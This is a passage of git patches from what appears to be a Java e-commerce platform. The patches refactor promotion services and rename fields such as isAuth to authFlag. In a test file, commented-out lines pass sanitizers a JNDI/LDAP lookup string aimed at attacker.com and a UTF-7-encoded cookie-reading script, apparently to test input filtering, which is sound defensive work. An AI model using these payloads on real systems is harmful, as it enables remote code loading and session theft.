null) { - queryWrapper.ge("end_time", new Date(endTime)); - } if (UserContext.getCurrentUser() != null && UserContext.getCurrentUser().getRole().equals(UserEnums.MEMBER)) { queryWrapper.gt("stock", 0); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java index bf5645c7..4f84cf77 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java @@ -9,9 +9,6 @@ import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO; import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.service.IService; - -import java.util.List; /** @@ -20,7 +17,7 @@ import java.util.List; * @author qiuqiu * @date 2021/7/1 9:45 上午 */ -public interface KanjiaActivityGoodsService extends IService { +public interface KanjiaActivityGoodsService extends AbstractPromotionsService { /** @@ -31,15 +28,6 @@ public interface KanjiaActivityGoodsService extends IService getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO); - /** * 查询砍价活动商品分页信息 * @@ -59,6 +47,7 @@ public interface KanjiaActivityGoodsService extends IService ids); - } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java index 8564ef73..5b617f98 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java @@ -141,10 +141,11 @@ public abstract class AbstractPromotionsServiceImpl, T e for (String id : ids) { T promotions = this.getById(id); this.checkStatus(promotions); - promotions.setDeleteFlag(true); - this.updatePromotionsGoods(promotions); + promotions.setStartTime(null); + promotions.setEndTime(null); this.updateEsGoodsIndex(promotions); } + this.promotionGoodsService.deletePromotionGoods(ids); return this.removeByIds(ids); } @@ -245,7 +246,7 @@ public abstract class AbstractPromotionsServiceImpl, T e //删除商品促销消息 String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.DELETE_GOODS_INDEX_PROMOTIONS.name(); //发送mq消息 - rocketMQTemplate.asyncSend(destination, promotions.getId(), RocketmqSendCallbackBuilder.commonCallback()); + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(promotions), RocketmqSendCallbackBuilder.commonCallback()); } else { String esPromotionKey = this.getPromotionType().name() + "-" + promotions.getId(); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java index d1eaa380..e98c9306 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java @@ -203,7 +203,7 @@ public class CouponActivityServiceImpl extends AbstractPromotionsServiceImpl fullDiscounts = fullDiscountService.listFindAll(searchParams); if (fullDiscounts != null && !fullDiscounts.isEmpty()) { diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java index 82c5aa96..ecc64429 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/FullDiscountServiceImpl.java @@ -93,7 +93,7 @@ public class FullDiscountServiceImpl extends AbstractPromotionsServiceImpl implements KanjiaActivityGoodsService { +public class KanjiaActivityGoodsServiceImpl extends AbstractPromotionsServiceImpl implements KanjiaActivityGoodsService { /** * 规格商品 @@ -70,32 +70,44 @@ public class KanjiaActivityGoodsServiceImpl extends ServiceImpl getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO) { - return this.page(PageUtil.initPage(pageVO), kanJiaActivityGoodsParams.wrapper()); - - } - @Override public IPage kanjiaGoodsVOPage(KanjiaActivityGoodsParams kanjiaActivityGoodsParams, PageVO pageVO) { - return this.baseMapper.kanjiaActivityGoodsVOPage(PageUtil.initPage(pageVO), kanjiaActivityGoodsParams.wrapper()); + return this.baseMapper.kanjiaActivityGoodsVOPage(PageUtil.initPage(pageVO), kanjiaActivityGoodsParams.queryWrapper()); } @@ -248,15 +260,20 @@ public class KanjiaActivityGoodsServiceImpl extends ServiceImpl ids) { - PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); - searchParams.setPromotionIds(ids); - this.promotionGoodsService.deletePromotionGoods(searchParams); - return this.removeByIds(ids); + public PromotionTypeEnum getPromotionType() { + return PromotionTypeEnum.KANJIA; } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java index b43db085..e2c7f024 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java @@ -162,7 +162,7 @@ public class MemberCouponServiceImpl extends ServiceImpl i.in(MemberCoupon::getStoreId, storeId).or(j -> j.eq(MemberCoupon::getIsPlatform, true))); + queryWrapper.ge(MemberCoupon::getEndTime, new Date()).and(i -> i.in(MemberCoupon::getStoreId, storeId).or(j -> j.eq(MemberCoupon::getPlatformFlag, true))); return this.list(queryWrapper); } @@ -253,7 +253,7 @@ public class MemberCouponServiceImpl extends ServiceImpl seckillApplies) { if (seckillApplies != null && !seckillApplies.isEmpty()) { + // 更新促销范围 + List skuIds = seckillApplies.stream().map(SeckillApply::getSkuId).collect(Collectors.toList()); + seckill.setScopeId(ArrayUtil.join(skuIds.toArray(), ",")); + UpdateWrapper updateWrapper = new UpdateWrapper<>(); + updateWrapper.eq("id", seckill.getId()); + updateWrapper.set("scope_id", seckill.getScopeId()); + this.update(updateWrapper); //循环秒杀商品数据,将数据按照时间段进行存储 for (SeckillApply seckillApply : seckillApplies) { if (seckillApply.getPromotionApplyStatus().equals(PromotionsApplyStatusEnum.PASS.name())) { diff --git a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java index 770dd183..3ac5441a 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java +++ b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java @@ -27,27 +27,6 @@ public class PromotionTools { public static final String START_TIME_COLUMN = "start_time"; public static final String END_TIME_COLUMN = "end_time"; - - /** - * 参数验证 - * 1、活动起始时间必须大于当前时间 - * 2、验证活动开始时间是否大于活动结束时间 - * - * @param startTime 活动开始时间 - * @param endTime 活动结束时间 - * @param num 参与活动商品数量 - * @param goodsList 选择的商品 - */ - public static void paramValid(Date startTime, Date endTime, int num, List goodsList) { - - checkPromotionTime(startTime, endTime); - - //如果促销活动选择的是部分商品参加活动 - if (num != -1 && goodsList == null) { - throw new ServiceException(ResultCode.PROMOTION_GOODS_ERROR); - } - } - /** * 参数验证 * 1、活动起始时间必须大于当前时间 diff --git a/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java b/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java index 80e5db4a..a8eb648f 100644 --- a/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java +++ b/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java @@ -225,7 +225,7 @@ public class EsGoodsIndex implements Serializable { */ @Field(type = FieldType.Text) @ApiModelProperty("审核状态") - private String isAuth; + private String authFlag; /** * 卖点 @@ -305,7 +305,7 @@ public class EsGoodsIndex implements Serializable { this.selfOperated = sku.getSelfOperated(); this.salesModel = sku.getSalesModel(); this.marketEnable = sku.getMarketEnable(); - this.isAuth = sku.getIsAuth(); + this.authFlag = sku.getAuthFlag(); this.intro = sku.getIntro(); this.grade = sku.getGrade(); this.recommend = sku.getRecommend(); @@ -371,7 +371,7 @@ public class EsGoodsIndex implements Serializable { this.selfOperated = sku.getSelfOperated(); this.salesModel = sku.getSalesModel(); this.marketEnable = sku.getMarketEnable(); - this.isAuth = sku.getIsAuth(); + this.authFlag = sku.getAuthFlag(); this.intro = sku.getIntro(); this.grade = sku.getGrade(); this.releaseTime = new Date(); diff --git a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java index fd17d645..2d70153b 100644 --- a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java +++ b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java @@ -133,10 +133,10 @@ public interface EsGoodsIndexService { /** * 删除索引中指定的促销活动id的促销活动 * - * @param skuId 商品skuId + * @param skuIds 商品skuId * @param promotionId 促销活动Id */ - void deleteEsGoodsPromotionByPromotionId(String skuId, String promotionId); + void deleteEsGoodsPromotionByPromotionId(List skuIds, String promotionId); /** * 清除所以商品索引的无效促销活动 diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 5937d0d3..d4541f77 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -120,19 +120,19 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements try { //查询商品信息 LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(GoodsSku::getIsAuth, GoodsAuthEnum.PASS.name()); + queryWrapper.eq(GoodsSku::getAuthFlag, GoodsAuthEnum.PASS.name()); queryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name()); List esGoodsIndices = new ArrayList<>(); LambdaQueryWrapper goodsQueryWrapper = new LambdaQueryWrapper<>(); - goodsQueryWrapper.eq(Goods::getIsAuth, GoodsAuthEnum.PASS.name()); + goodsQueryWrapper.eq(Goods::getAuthFlag, GoodsAuthEnum.PASS.name()); goodsQueryWrapper.eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name()); for (Goods goods : goodsService.list(goodsQueryWrapper)) { LambdaQueryWrapper skuQueryWrapper = new LambdaQueryWrapper<>(); skuQueryWrapper.eq(GoodsSku::getGoodsId, goods.getId()); - skuQueryWrapper.eq(GoodsSku::getIsAuth, GoodsAuthEnum.PASS.name()); + skuQueryWrapper.eq(GoodsSku::getAuthFlag, GoodsAuthEnum.PASS.name()); skuQueryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name()); List goodsSkuList = goodsSkuService.list(skuQueryWrapper); @@ -420,7 +420,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements Map promotionMap = goodsIndex.getPromotionMap(); if (promotionMap != null && !promotionMap.isEmpty()) { //如果存在同类型促销活动删除 - List collect = promotionMap.keySet().parallelStream().filter(i -> i.contains(promotionType.name())).collect(Collectors.toList()); + List collect = promotionMap.keySet().stream().filter(i -> i.contains(promotionType.name())).collect(Collectors.toList()); collect.forEach(promotionMap::remove); goodsIndex.setPromotionMap(promotionMap); updateIndex(goodsIndex); @@ -432,14 +432,16 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } @Override - public void deleteEsGoodsPromotionByPromotionId(String skuId, String promotionId) { - if (skuId != null) { - EsGoodsIndex goodsIndex = findById(skuId); - //商品索引不为空 - if (goodsIndex != null) { - this.removePromotionByPromotionId(goodsIndex, promotionId); - } else { - log.error("更新索引商品促销信息失败!skuId 为 【{}】的索引不存在!", skuId); + public void deleteEsGoodsPromotionByPromotionId(List skuIds, String promotionId) { + if (skuIds != null && !skuIds.isEmpty()) { + for (String skuId : skuIds) { + EsGoodsIndex goodsIndex = findById(skuId); + //商品索引不为空 + if (goodsIndex != null) { + this.removePromotionByPromotionId(goodsIndex, promotionId); + } else { + log.error("更新索引商品促销信息失败!skuId 为 【{}】的索引不存在!", skuId); + } } } else { for (EsGoodsIndex goodsIndex : this.goodsIndexRepository.findAll()) { @@ -480,7 +482,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements for (Map.Entry entry : promotionMap.entrySet()) { BasePromotions promotion = (BasePromotions) entry.getValue(); //判定条件为活动已结束 - if (promotion.getEndTime().getTime() < DateUtil.date().getTime()) { + if (promotion.getEndTime() != null && promotion.getEndTime().getTime() < DateUtil.date().getTime()) { if (entry.getKey().contains(PromotionTypeEnum.SECKILL.name()) || entry.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { goodsIndex.setPromotionPrice(goodsIndex.getPrice()); } diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java index 11764356..755d445f 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java @@ -372,7 +372,7 @@ public class EsGoodsSearchServiceImpl implements EsGoodsSearchService { //未上架的商品不显示 filterBuilder.must(QueryBuilders.matchQuery("marketEnable", GoodsStatusEnum.UPPER.name())); //待审核和审核不通过的商品不显示 - filterBuilder.must(QueryBuilders.matchQuery("isAuth", GoodsAuthEnum.PASS.name())); + filterBuilder.must(QueryBuilders.matchQuery("authFlag", GoodsAuthEnum.PASS.name())); //关键字检索 diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsServiceImpl.java index b0e9768c..87b52e31 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsServiceImpl.java @@ -37,7 +37,7 @@ public class GoodsStatisticsServiceImpl extends ServiceImpl { //循环菜单,赋予用户权限 - if (StrUtil.isNotEmpty(menu.getPermission())) { + if (CharSequenceUtil.isNotEmpty(menu.getPermission())) { //获取路径集合 String[] permissionUrl = menu.getPermission().split(","); //for循环路径集合 for (String url : permissionUrl) { //如果是超级权限 则计入超级权限 - if (menu.getSuper()) { + if (Boolean.TRUE.equals(menu.getSuper())) { //如果已有超级权限,则这里就不做权限的累加 if (!superPermissions.contains(url)) { superPermissions.add(url); diff --git a/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java b/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java index 8004783c..26189243 100644 --- a/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java @@ -1,8 +1,8 @@ package cn.lili.controller.goods; import cn.lili.common.enums.ResultCode; -import cn.lili.common.exception.ServiceException; import cn.lili.common.enums.ResultUtil; +import cn.lili.common.exception.ServiceException; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.goods.entity.dos.Goods; import cn.lili.modules.goods.entity.dos.GoodsSku; @@ -61,7 +61,7 @@ public class GoodsManagerController { @GetMapping(value = "/auth/list") public IPage getAuthPage(GoodsSearchParams goodsSearchParams) { - goodsSearchParams.setIsAuth(GoodsAuthEnum.TOBEAUDITED.name()); + goodsSearchParams.setAuthFlag(GoodsAuthEnum.TOBEAUDITED.name()); return goodsService.queryByParams(goodsSearchParams); } @@ -82,12 +82,12 @@ public class GoodsManagerController { @ApiOperation(value = "管理员审核商品", notes = "管理员审核商品") @ApiImplicitParams({ @ApiImplicitParam(name = "goodsIds", value = "商品ID", required = true, paramType = "path", allowMultiple = true, dataType = "int"), - @ApiImplicitParam(name = "isAuth", value = "审核结果", required = true, paramType = "query", dataType = "string") + @ApiImplicitParam(name = "authFlag", value = "审核结果", required = true, paramType = "query", dataType = "string") }) @PutMapping(value = "{goodsIds}/auth") - public ResultMessage auth(@PathVariable List goodsIds, @RequestParam String isAuth) { + public ResultMessage auth(@PathVariable List goodsIds, @RequestParam String authFlag) { //校验商品是否存在 - if (goodsService.auditGoods(goodsIds, GoodsAuthEnum.valueOf(isAuth))) { + if (goodsService.auditGoods(goodsIds, GoodsAuthEnum.valueOf(authFlag))) { return ResultUtil.success(); } throw new ServiceException(ResultCode.GOODS_AUTH_ERROR); diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java index 806115d6..5dc789b2 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java @@ -24,7 +24,7 @@ import java.util.Arrays; * 管理端,促销接口 * * @author qiuqiu - * @date 2021/7/2 + * @since 2021/7/2 **/ @RestController @Api(tags = "管理端,砍价促销接口") @@ -44,8 +44,8 @@ public class KanJiaActivityGoodsManagerController { @ApiOperation(value = "获取砍价活动分页") @GetMapping - public ResultMessage> getKanJiaActivityPage(KanjiaActivityGoodsParams KanJiaActivityParams, PageVO page) { - return ResultUtil.data(kanJiaActivityGoodsService.getForPage(KanJiaActivityParams, page)); + public ResultMessage> getKanJiaActivityPage(KanjiaActivityGoodsParams kanJiaParams, PageVO page) { + return ResultUtil.data(kanJiaActivityGoodsService.pageFindAll(kanJiaParams, page)); } @@ -60,7 +60,9 @@ public class KanJiaActivityGoodsManagerController { @PutMapping @ApiOperation(value = "修改砍价商品") public ResultMessage updatePointsGoods(@RequestBody KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO) { - kanJiaActivityGoodsService.updateKanjiaActivityGoods(kanJiaActivityGoodsDTO); + if (!kanJiaActivityGoodsService.updateKanjiaActivityGoods(kanJiaActivityGoodsDTO)) { + return ResultUtil.error(ResultCode.KANJIA_GOODS_UPDATE_ERROR); + } return ResultUtil.success(); } @@ -68,7 +70,7 @@ public class KanJiaActivityGoodsManagerController { @DeleteMapping("/{ids}") @ApiOperation(value = "删除砍价商品") public ResultMessage delete(@PathVariable String ids) { - if (kanJiaActivityGoodsService.deleteKanJiaGoods(Arrays.asList(ids.split(",")))) { + if (kanJiaActivityGoodsService.removePromotions(Arrays.asList(ids.split(",")))) { return ResultUtil.success(); } throw new ServiceException(ResultCode.KANJIA_GOODS_DELETE_ERROR); diff --git a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java index 9210cc79..2efe7fcd 100644 --- a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java +++ b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java @@ -7,6 +7,8 @@ import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.service.GoodsSkuService; +import cn.lili.modules.promotion.entity.dos.FullDiscount; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.service.PromotionService; import cn.lili.modules.search.entity.dos.EsGoodsAttribute; import cn.lili.modules.search.entity.dos.EsGoodsIndex; @@ -63,14 +65,18 @@ class EsTest { // System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); // System.out.println(HtmlUtil.unescape(safeHTML)); // System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); - Date dt1 = new Date(2021, 12, 10); - Date dt2 = new Date(2021, 12, 14); - - System.out.println(new Date().before(dt2)); +// Date dt1 = new Date(2021, 12, 10); +// Date dt2 = new Date(2021, 12, 14); +// +// System.out.println(new Date().before(dt2)); // String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}"); // String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}"); // System.out.println(filter); // System.out.println(sanitize); + FullDiscount fullDiscount = new FullDiscount(); + fullDiscount.setStartTime(new Date()); + BasePromotions promotions = fullDiscount; + System.out.println(promotions); } @@ -124,7 +130,7 @@ class EsTest { @Test void init() { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(GoodsSku::getIsAuth, GoodsAuthEnum.PASS.name()); + queryWrapper.eq(GoodsSku::getAuthFlag, GoodsAuthEnum.PASS.name()); queryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name()); List list = goodsSkuService.list(queryWrapper); List esGoodsIndices = new ArrayList<>(); @@ -173,60 +179,6 @@ class EsTest { @Test void updateIndex() { -// EsGoodsIndex goodsIndex = new EsGoodsIndex(); -// goodsIndex.setId("121"); -// goodsIndex.setBrandId("113"); -// goodsIndex.setGoodsId("113"); -// goodsIndex.setCategoryPath("0|1"); -// goodsIndex.setBuyCount(100); -// goodsIndex.setCommentNum(100); -// goodsIndex.setGoodsName("惠普(HP)战66 三代AMD版14英寸轻薄笔记本电脑(锐龙7nm 六核R5-4500U 16G 512G 400尼特高色域一年上门 )"); -// goodsIndex.setGrade(100D); -// goodsIndex.setHighPraiseNum(100); -// goodsIndex.setIntro("I'd like a cup of tea, please"); -// goodsIndex.setIsAuth("1"); -// goodsIndex.setMarketEnable("1"); -// goodsIndex.setMobileIntro("I want something cold to drink"); -// goodsIndex.setPoint(100); -// goodsIndex.setPrice(100D); -// goodsIndex.setSelfOperated(true); -// goodsIndex.setStoreId("113"); -// goodsIndex.setStoreName("惠普自营官方旗舰店"); -// goodsIndex.setStoreCategoryPath("1"); -// goodsIndex.setThumbnail("picture"); -// goodsIndex.setSn("A113"); -// Map promotionMap = new HashMap<>(); -// Coupon coupon = new Coupon(); -// coupon.setStoreId("113"); -// coupon.setStoreName("惠普自营官方旗舰店"); -// coupon.setPromotionStatus(PromotionStatusEnum.START.name()); -// coupon.setReceivedNum(0); -// coupon.setConsumeLimit(11D); -// coupon.setCouponLimitNum(10); -// coupon.setCouponName("满11减10"); -// coupon.setCouponType(CouponTypeEnum.PRICE.name()); -// coupon.setGetType(CouponGetEnum.FREE.name()); -// coupon.setPrice(10D); -// promotionMap.put(PromotionTypeEnum.COUPON.name(), coupon); -// goodsIndex.setPromotionMap(promotionMap); -// List esGoodsAttributeList = new ArrayList<>(); -// EsGoodsAttribute attribute = new EsGoodsAttribute(); -// attribute.setType(0); -// attribute.setName("颜色"); -// attribute.setValue("14英寸"); -// esGoodsAttributeList.add(attribute); -// esGoodsAttributeList.add(attribute); -// attribute = new EsGoodsAttribute(); -// attribute.setName("版本"); -// attribute.setValue("【战66新品】R5-4500 8G 256G"); -// esGoodsAttributeList.add(attribute); -// attribute = new EsGoodsAttribute(); -// attribute.setName("配置"); -// attribute.setValue("i5 8G 512G 2G独显"); -// esGoodsAttributeList.add(attribute); -// goodsIndex.setAttrList(esGoodsAttributeList); -// GoodsSku goodsSkuByIdFromCache = goodsSkuService.getGoodsSkuByIdFromCache("121"); -// EsGoodsIndex goodsIndex = new EsGoodsIndex(goodsSkuByIdFromCache); EsGoodsIndex byId = esGoodsIndexService.findById("121"); byId.setPromotionMap(null); esGoodsIndexService.updateIndex(byId); @@ -253,7 +205,7 @@ class EsTest { goodsIndex.setGrade(100D); goodsIndex.setHighPraiseNum(100); goodsIndex.setIntro("I'd like a cup of tea, please"); - goodsIndex.setIsAuth("1"); + goodsIndex.setAuthFlag("1"); goodsIndex.setMarketEnable("1"); goodsIndex.setMobileIntro("I want something cold to drink"); goodsIndex.setPoint(0); diff --git a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java index 88465e82..f90f1970 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java @@ -42,10 +42,10 @@ class FullDiscountTest { fullDiscountVO.setStoreId("131"); fullDiscountVO.setStoreName("小米自营旗舰店"); fullDiscountVO.setDescription("full discount test " + RandomUtil.randomNumber()); - fullDiscountVO.setIsFullMinus(true); + fullDiscountVO.setFullMinusFlag(true); fullDiscountVO.setFullMoney(130D); fullDiscountVO.setFullMinus(100D); - fullDiscountVO.setIsFreeFreight(true); + fullDiscountVO.setFreeFreightFlag(true); fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId()); fullDiscountVO.setTitle("满" + fullDiscountVO.getFullMoney() + "减" + fullDiscountVO.getFullMinus()); @@ -91,10 +91,10 @@ class FullDiscountTest { fullDiscountVO.setStoreId("132"); fullDiscountVO.setStoreName("联想自营旗舰店"); fullDiscountVO.setDescription("Not worth"); - fullDiscountVO.setIsFullMinus(true); + fullDiscountVO.setFullMinusFlag(true); fullDiscountVO.setFullMoney(100D); fullDiscountVO.setFullMinus(80D); - fullDiscountVO.setIsFreeFreight(true); + fullDiscountVO.setFreeFreightFlag(true); fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId()); fullDiscountVO.setTitle("满" + fullDiscountVO.getFullMoney() + "减" + fullDiscountVO.getFullMinus()); diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java index 85dfcc13..22e271fa 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java @@ -1,5 +1,6 @@ package cn.lili.controller.promotion; +import cn.hutool.core.util.ArrayUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; @@ -24,7 +25,9 @@ import org.springframework.validation.annotation.Validated; import org.springframework.web.bind.annotation.*; import java.util.Collections; +import java.util.List; import java.util.Objects; +import java.util.stream.Collectors; /** * 店铺端,拼团管理接口 @@ -88,6 +91,12 @@ public class PintuanStoreController { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); pintuan.setStoreId(currentUser.getStoreId()); pintuan.setStoreName(currentUser.getStoreName()); + if (pintuan.getPromotionGoodsList() != null && !pintuan.getPromotionGoodsList().isEmpty()) { + List skuIds = pintuan.getPromotionGoodsList().stream().map(PromotionGoods::getSkuId).collect(Collectors.toList()); + pintuan.setScopeId(ArrayUtil.join(skuIds.toArray(), ",")); + } else { + pintuan.setScopeId(null); + } if (pintuanService.updatePromotions(pintuan)) { return ResultUtil.success(ResultCode.PINTUAN_EDIT_SUCCESS); } From 6748b2911a0720be344161674d86ab9c1cff3b74 Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 21 Dec 2021 19:29:54 +0800 Subject: [PATCH 087/145] =?UTF-8?q?=E5=8E=BB=E9=99=A4=E4=B8=80=E4=B8=AA?= =?UTF-8?q?=E6=97=A0=E6=95=88=E7=9A=84=E7=B1=BB?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../service/NoticeSendMessageConsumer.java | 22 ------------------- 1 file changed, 22 deletions(-) delete mode 100644 consumer/src/main/java/cn/lili/service/NoticeSendMessageConsumer.java diff --git a/consumer/src/main/java/cn/lili/service/NoticeSendMessageConsumer.java b/consumer/src/main/java/cn/lili/service/NoticeSendMessageConsumer.java deleted file mode 100644 index ef07b637..00000000 --- a/consumer/src/main/java/cn/lili/service/NoticeSendMessageConsumer.java +++ /dev/null @@ -1,22 +0,0 @@ -package cn.lili.service; - -import cn.lili.event.OrderStatusChangeEvent; -import cn.lili.modules.order.order.entity.dto.OrderMessage; -import org.springframework.stereotype.Component; - -/** - * 消息发送 - * - * @author paulG - * @since 2020/12/9 - */ -@Component -public class NoticeSendMessageConsumer implements OrderStatusChangeEvent { - - - @Override - public void orderChange(OrderMessage orderMessage) { - - - } -} From e962a594babfdc272ae93337d485d03b2de75419 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 22 Dec 2021 12:13:43 +0800 Subject: [PATCH 088/145] =?UTF-8?q?=E5=95=86=E5=93=81=E4=BF=A1=E6=81=AF?= =?UTF-8?q?=E8=8E=B7=E5=8F=96=E9=80=BB=E8=BE=91=E8=B0=83=E6=95=B4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../serviceimpl/GoodsSkuServiceImpl.java | 20 +++++++++---------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index 3e37bf9a..6a1adf98 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -12,6 +12,7 @@ import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import 